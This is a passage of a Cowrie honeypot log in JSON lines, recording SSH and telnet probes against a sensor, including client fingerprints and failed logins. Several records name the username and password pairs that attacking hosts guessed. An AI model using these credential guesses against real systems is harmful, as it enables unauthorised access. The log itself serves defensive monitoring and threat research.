":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:35.827624Z","src_ip":"185.153.231.45","session":"c89d8dabd360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:36.374656Z","src_ip":"185.153.231.45","session":"c89d8dabd360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:37.506773Z","src_ip":"185.153.231.45","session":"c89d8dabd360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":39122,"dst_ip":"10.17.0.5","dst_port":22,"session":"18e29cd45be7","protocol":"ssh","message":"New connection: 220.205.122.34:39122 (10.17.0.5:22) [session: 18e29cd45be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:40.309063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:40.314141Z","src_ip":"220.205.122.34","session":"18e29cd45be7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:41.938344Z","src_ip":"220.205.122.34","session":"18e29cd45be7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:41.945266Z","src_ip":"220.205.122.34","session":"18e29cd45be7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57590,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d77045f203a","protocol":"telnet","message":"New connection: 74.91.213.120:57590 (159.203.135.109:23) [session: 4d77045f203a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:48.948644Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":34336,"dst_ip":"10.17.0.5","dst_port":22,"session":"42748c47f4fe","protocol":"ssh","message":"New connection: 92.191.96.70:34336 (10.17.0.5:22) [session: 42748c47f4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:49.658516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:49.664023Z","src_ip":"92.191.96.70","session":"42748c47f4fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:49.836704Z","src_ip":"92.191.96.70","session":"42748c47f4fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.144813776016235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:49.892309Z","src_ip":"74.91.213.120","session":"a306e469bbd5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"$BLANKPASS","message":"login attempt [root/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:50.363966Z","src_ip":"92.191.96.70","session":"42748c47f4fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:51.489255Z","src_ip":"92.191.96.70","session":"42748c47f4fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.153756618499756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:53.213196Z","src_ip":"74.91.213.120","session":"73cb1c8f6744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":57340,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ec95488c5a4","protocol":"ssh","message":"New connection: 81.192.46.49:57340 (159.203.135.109:22) [session: 5ec95488c5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:53.932100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:53.937072Z","src_ip":"81.192.46.49","session":"5ec95488c5a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:54.052999Z","src_ip":"81.192.46.49","session":"5ec95488c5a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zp123","message":"login attempt [root/zp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:54.549585Z","src_ip":"81.192.46.49","session":"5ec95488c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:55.668308Z","src_ip":"81.192.46.49","session":"5ec95488c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58288,"dst_ip":"159.203.135.109","dst_port":23,"session":"adce5c67d6d8","protocol":"telnet","message":"New connection: 74.91.213.120:58288 (159.203.135.109:23) [session: adce5c67d6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:32:59.878028Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58304,"dst_ip":"159.203.135.109","dst_port":23,"session":"04eb69b77706","protocol":"telnet","message":"New connection: 74.91.213.120:58304 (159.203.135.109:23) [session: 04eb69b77706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:00.898312Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58318,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3549aad2c2","protocol":"telnet","message":"New connection: 74.91.213.120:58318 (159.203.135.109:23) [session: 5e3549aad2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:01.208642Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":46958,"dst_ip":"10.17.0.5","dst_port":22,"session":"622c6ad88839","protocol":"ssh","message":"New connection: 159.195.79.219:46958 (10.17.0.5:22) [session: 622c6ad88839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:03.216785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:03.222634Z","src_ip":"159.195.79.219","session":"622c6ad88839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:03.322246Z","src_ip":"159.195.79.219","session":"622c6ad88839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"clayton","message":"login attempt [root/clayton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:03.741444Z","src_ip":"159.195.79.219","session":"622c6ad88839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:04.836669Z","src_ip":"159.195.79.219","session":"622c6ad88839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.270782709121704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:05.313694Z","src_ip":"74.91.213.120","session":"5a83a6db1afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac84c021d639","protocol":"telnet","message":"New connection: 74.91.213.120:58328 (159.203.135.109:23) [session: ac84c021d639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:06.501785Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54250,"dst_ip":"159.203.135.109","dst_port":22,"session":"27c9f7e3cffb","protocol":"ssh","message":"New connection: 45.153.34.114:54250 (159.203.135.109:22) [session: 27c9f7e3cffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:09.067063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:09.070964Z","src_ip":"45.153.34.114","session":"27c9f7e3cffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:09.155675Z","src_ip":"45.153.34.114","session":"27c9f7e3cffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:09.408810Z","src_ip":"45.153.34.114","session":"27c9f7e3cffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:10.507025Z","src_ip":"45.153.34.114","session":"27c9f7e3cffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44070,"dst_ip":"159.203.135.109","dst_port":23,"session":"58487e76538b","protocol":"telnet","message":"New connection: 74.91.213.120:44070 (159.203.135.109:23) [session: 58487e76538b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:12.401669Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44086,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c26ccdecbb","protocol":"telnet","message":"New connection: 74.91.213.120:44086 (159.203.135.109:23) [session: 74c26ccdecbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:15.825634Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43256,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c28380dc9d0","protocol":"ssh","message":"New connection: 45.153.34.114:43256 (159.203.135.109:22) [session: 5c28380dc9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:16.167053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:16.171197Z","src_ip":"45.153.34.114","session":"5c28380dc9d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:16.267198Z","src_ip":"45.153.34.114","session":"5c28380dc9d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:16.547028Z","src_ip":"45.153.34.114","session":"5c28380dc9d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44096,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9571ac10ea","protocol":"telnet","message":"New connection: 74.91.213.120:44096 (159.203.135.109:23) [session: 3c9571ac10ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:17.509759Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:17.762536Z","src_ip":"45.153.34.114","session":"5c28380dc9d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13713049888611,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:20.085649Z","src_ip":"74.91.213.120","session":"4d77045f203a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":50774,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a328d6f28d","protocol":"ssh","message":"New connection: 185.153.231.45:50774 (159.203.135.109:22) [session: 03a328d6f28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:20.247562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:20.255304Z","src_ip":"185.153.231.45","session":"03a328d6f28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:20.385142Z","src_ip":"185.153.231.45","session":"03a328d6f28d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:20.937054Z","src_ip":"185.153.231.45","session":"03a328d6f28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33522,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bd0e5669aff","protocol":"telnet","message":"New connection: 74.91.213.120:33522 (159.203.135.109:23) [session: 6bd0e5669aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:21.841071Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:33:22.069265Z","src_ip":"185.153.231.45","session":"03a328d6f28d","protocol":"ssh"}
